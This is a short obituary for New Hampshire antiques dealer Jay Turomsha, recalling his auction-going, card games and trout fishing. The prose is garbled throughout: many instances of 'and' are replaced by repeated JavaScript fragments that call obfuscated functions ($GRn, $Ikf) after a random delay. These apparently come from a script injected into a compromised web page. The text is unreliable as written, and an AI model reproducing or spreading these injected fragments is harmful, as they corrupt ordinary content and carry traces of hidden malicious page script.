KEENE, N.H. — New Hampshire antiques dealer Jay Turomsha died May 3 at the Cheshire Medical Center in Keene. Jay’s devoted partner Nancy Cummings was by his side. Jay had been troubled with some serious health issues for the last few years, issues that would have made many of us slow down, but not Jay. He continued to live life on his terms, by remaining active in the antiques business.

As recently as April 21, Jay had exhibited at Nan Gurley’s Concord New Hampshire Antiques Show, buying a few things, selling a few things andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and enjoying the day shooting the breeze with friends new andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and old. To say Jay remained active in the business is an understatement, for there had been hardly an auction held in New Hampshire or the surrounding area where he hasn’t been in attendance. It was a safe bet if you went to one of these auctions, Jay would be seated in the back of the hall holding court with his fellow dealers andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and friends.

Aside from the antiques business, Jay also enjoyed a good card game andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and fishing for trout. Jay would stop at any stream or brook andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and test his skill trying to catch one of those elusive fish, then continue on to the local auction hall. Once there, when you asked him how was the fishing, he would just smile andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and say not bad, knowing full well it was the thrill of the chase that charged his batteries…kind of like the antiques business.

Last Friday the antiques business lost one of its true characters. Jay was a man who had strong opinions about life andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a love of the antiques business, but most of all he was a friend, who will be missed by many.